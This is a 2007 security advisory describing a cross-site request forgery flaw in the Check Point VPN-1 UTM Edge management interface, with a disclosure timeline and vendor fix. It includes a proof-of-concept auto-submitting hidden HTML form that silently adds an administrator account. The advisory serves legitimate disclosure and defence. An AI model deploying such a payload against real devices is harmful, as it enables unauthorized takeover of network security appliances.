[Full-disclosure] CheckPoint VPN-1 UTM Edge Cross Site Request Forgery vulnerability

Type securityvulns
Reporter Securityvulns
Modified 2007-06-27T00:00:00


                      Louhi Networks Oy
                   -= Security Advisory =-

  Advisory: Checkpoint VPN-1 UTM Edge Cross Site Request Forgery

Release Date: 2007/06/26 Last Modified: 2007/06/26 Authors: Henri Lindberg, Associate of (ISC)? [henri.lindberg@louhi.fi] Jussi Vuokko, CISSP [jussi.vuokko@louhi.fi]

Application: Checkpoint VPN-1 Edge X Embedded NGX 7.0.33x (Other versions of the same software might be affected.) Devices: Checkpoint VPN-1 UTM Edge Severity: Cross site request forgery in management interface Risk: Moderate Vendor Status: Vendor has released an updated version References: http://www.louhi.fi/advisory/checkpoint_070626.txt


Quote from http://www.checkpoint.com/
"VPN-1 UTM Edge appliances deliver unified threat management to
 enterprises with branch offices and simplify security deployments
 and manageability. VPN-1 UTM Edge appliances consolidate proven
 enterprise-class technology into a single branch office solution
 that does not compromise the corporate network and eliminates the
 branch office as your weakest link. As part of Check Point's Unified
 Security Architecture, VPN-1 UTM Edge can enforce a global security
 policy and allows administrators to manage and update thousands of
 appliances as easily as managing one."

During an audit of VPN-1 UTM Edge it was discovered that a cross site
request forgery vulnerability exists in the management interface.
Thus, it is possible for an attacker to perform any administrative
actions in the management interface. These include e.g. adding
additional admin users.


Checkpoint VPN-1 Edge Embedded device management interface does not
validate the origin of an HTTP request. If attacker is able to make
user visit a hostile web page, a VPN-1 Edge device can be controlled
by submitting suitable forms. It is possible to add new users for

Successful attack requires that the attacker knows the management
interface address for the target device. As the management interface
does not have logout functionality, user can be vulnerable to this
attack even after closing a tab containing the management interface
(if user does not close the browser window or clear cookies and
depending on browser behaviour).

Proof of Concept:

Example form (adds new read-only administrator):

<body onload="document.CSRF.submit()">
<form name="CSRF" method="post"
 action="https://fw.example.com/pop/WizU.html "style="display:none">

<input name="swstate" value="WizU1">
<input name="swtosave" value="1">
<input name="swback" value="0">
<input name="swindex" value="-1">
<input name="swuuser" value="evil-user">
<input name="swupass" value="password">
<input name="swuexp" value="0">
<input name="swuday" value="4">
<input name="swumonth" value="5">
<input name="swuyear" value="2008">
<input name="swuhour" value="03">
<input name="swumin" value="11">
<input name="swuampm" value="1">
<input name="swuacc" value="1">
<input name="swuvpn" value="0">
<input name="swuufp" value="0">
<input name="swuhot" value="0">
<input name="tacc" value="1">



Update to new version.

More information


Disclosure Timeline:

7. June 2007      - Contacted Checkpoint by email
26. June 2007     - Vendor released an updated version
26. June 2007     - Advisory was released

Copyright 2007 Louhi Networks Oy. All rights reserved.

Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/